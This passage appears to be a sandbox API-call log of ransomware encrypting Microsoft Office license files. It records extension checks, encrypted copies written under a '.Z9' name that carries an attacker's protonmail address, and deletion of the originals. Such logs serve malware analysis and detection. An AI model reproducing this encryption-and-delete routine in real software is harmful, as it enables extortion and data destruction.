	[0184.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1
	[0184.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.554] lstrlenW (lpString=".doc") returned 4
	[0184.554] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.554] lstrlenW (lpString=".docx") returned 5
	[0184.554] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.554] lstrlenW (lpString=".pdf") returned 4
	[0184.554] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.554] lstrlenW (lpString=".xls") returned 4
	[0184.554] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.554] lstrlenW (lpString=".xlsx") returned 5
	[0184.554] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.554] lstrlenW (lpString=".ppt") returned 4
	[0184.554] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.554] lstrlenW (lpString=".zip") returned 4
	[0184.554] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.554] lstrlenW (lpString=".rar") returned 4
	[0184.554] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.554] lstrlenW (lpString=".bz2") returned 4
	[0184.554] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.554] lstrlenW (lpString=".7z") returned 3
	[0184.554] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.554] lstrlenW (lpString=".dbf") returned 4
	[0184.554] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.555] lstrlenW (lpString=".1cd") returned 4
	[0184.555] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.555] lstrlenW (lpString=".jpg") returned 4
	[0184.555] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.555] lstrlenW (lpString=".doc") returned 4
	[0184.555] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString=".docx") returned 5
	[0184.555] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.555] lstrlenW (lpString=".pdf") returned 4
	[0184.555] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString=".xls") returned 4
	[0184.555] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString=".xlsx") returned 5
	[0184.555] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.555] lstrlenW (lpString=".ppt") returned 4
	[0184.555] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.555] lstrlenW (lpString=".zip") returned 4
	[0184.555] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString=".rar") returned 4
	[0184.555] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.555] lstrlenW (lpString=".bz2") returned 4
	[0184.556] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.556] lstrlenW (lpString=".7z") returned 3
	[0184.556] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.556] lstrlenW (lpString=".dbf") returned 4
	[0184.556] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.556] lstrlenW (lpString=".1cd") returned 4
	[0184.556] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73
	[0184.556] lstrlenW (lpString=".jpg") returned 4
	[0184.556] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.556] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.556] lstrlenW (lpString="MondoR_Trial-ul-oob.xrm-ms") returned 26
	[0184.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.557] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11586) returned 1
	[0184.558] CloseHandle (hObject=0x4a4) returned 1
	[0184.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220
	[0184.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.559] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.559] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.560] GetLastError () returned 0x0
	[0184.560] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0184.562] WriteFile (in: hFile=0x548, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0184.563] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.563] WriteFile (in: hFile=0x548, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x108, lpOverlapped=0x0) returned 1
	[0184.564] SetEndOfFile (hFile=0x548) returned 1
	[0184.564] CloseHandle (hObject=0x548) returned 1
	[0184.564] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.564] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.567] CloseHandle (hObject=0x4a4) returned 1
	[0184.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1
	[0184.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.569] lstrlenW (lpString=".doc") returned 4
	[0184.569] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString=".docx") returned 5
	[0184.569] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.569] lstrlenW (lpString=".pdf") returned 4
	[0184.569] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString=".xls") returned 4
	[0184.569] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString=".xlsx") returned 5
	[0184.569] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.569] lstrlenW (lpString=".ppt") returned 4
	[0184.569] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.569] lstrlenW (lpString=".zip") returned 4
	[0184.569] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString=".rar") returned 4
	[0184.569] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString=".bz2") returned 4
	[0184.569] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString=".7z") returned 3
	[0184.569] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.569] lstrlenW (lpString=".dbf") returned 4
	[0184.569] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.569] lstrlenW (lpString=".1cd") returned 4
	[0184.569] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.570] lstrlenW (lpString=".jpg") returned 4
	[0184.570] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.570] lstrlenW (lpString=".doc") returned 4
	[0184.570] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString=".docx") returned 5
	[0184.570] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.570] lstrlenW (lpString=".pdf") returned 4
	[0184.570] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString=".xls") returned 4
	[0184.570] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString=".xlsx") returned 5
	[0184.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.570] lstrlenW (lpString=".ppt") returned 4
	[0184.570] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.570] lstrlenW (lpString=".zip") returned 4
	[0184.570] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString=".rar") returned 4
	[0184.570] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString=".bz2") returned 4
	[0184.570] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString=".7z") returned 3
	[0184.570] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.570] lstrlenW (lpString=".dbf") returned 4
	[0184.570] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.570] lstrlenW (lpString=".1cd") returned 4
	[0184.570] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0184.571] lstrlenW (lpString=".jpg") returned 4
	[0184.571] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.571] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.571] lstrlenW (lpString="MondoVL_KMS_Client-ppd.xrm-ms") returned 29
	[0184.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0184.666] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=12479) returned 1
	[0184.666] CloseHandle (hObject=0x554) returned 1
	[0184.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220
	[0184.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0185.122] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.122] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.645] GetLastError () returned 0x0
	[0186.645] ReadFile (in: hFile=0x37c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x30bf, lpOverlapped=0x0) returned 1
	[0186.654] WriteFile (in: hFile=0x2d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x30c0, lpOverlapped=0x0) returned 1
	[0186.655] ReadFile (in: hFile=0x37c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.655] WriteFile (in: hFile=0x2d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0186.655] SetEndOfFile (hFile=0x2d0) returned 1
	[0186.655] CloseHandle (hObject=0x2d0) returned 1
	[0186.655] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.655] SetEndOfFile (hFile=0x37c) returned 1
	[0186.658] CloseHandle (hObject=0x37c) returned 1
	[0186.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1
	[0186.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.858] lstrlenW (lpString=".doc") returned 4
	[0186.858] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.858] lstrlenW (lpString=".docx") returned 5
	[0186.858] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.858] lstrlenW (lpString=".pdf") returned 4
	[0186.858] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.858] lstrlenW (lpString=".xls") returned 4
	[0186.858] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.858] lstrlenW (lpString=".xlsx") returned 5
	[0186.858] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.858] lstrlenW (lpString=".ppt") returned 4
	[0186.859] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.859] lstrlenW (lpString=".zip") returned 4
	[0186.859] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString=".rar") returned 4
	[0186.859] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString=".bz2") returned 4
	[0186.859] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString=".7z") returned 3
	[0186.859] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.859] lstrlenW (lpString=".dbf") returned 4
	[0186.859] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.859] lstrlenW (lpString=".1cd") returned 4
	[0186.859] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.859] lstrlenW (lpString=".jpg") returned 4
	[0186.859] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.859] lstrlenW (lpString=".doc") returned 4
	[0186.859] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString=".docx") returned 5
	[0186.859] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.859] lstrlenW (lpString=".pdf") returned 4
	[0186.859] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString=".xls") returned 4
	[0186.859] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString=".xlsx") returned 5
	[0186.859] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.859] lstrlenW (lpString=".ppt") returned 4
	[0186.859] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.860] lstrlenW (lpString=".zip") returned 4
	[0186.860] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.860] lstrlenW (lpString=".rar") returned 4
	[0186.860] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.860] lstrlenW (lpString=".bz2") returned 4
	[0186.860] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.860] lstrlenW (lpString=".7z") returned 3
	[0186.860] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.860] lstrlenW (lpString=".dbf") returned 4
	[0186.860] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.860] lstrlenW (lpString=".1cd") returned 4
	[0186.860] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0186.860] lstrlenW (lpString=".jpg") returned 4
	[0186.860] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.860] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0186.860] lstrlenW (lpString="O365BusinessR_Subscription-ppd.xrm-ms") returned 37
	[0186.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0186.924] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=25386) returned 1
	[0186.925] CloseHandle (hObject=0x334) returned 1
	[0186.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220
	[0187.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0187.205] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.206] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.206] GetLastError () returned 0x0
	[0187.206] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x632a, lpOverlapped=0x0) returned 1
	[0187.219] WriteFile (in: hFile=0x390, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x6330, lpOverlapped=0x0) returned 1
	[0187.220] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
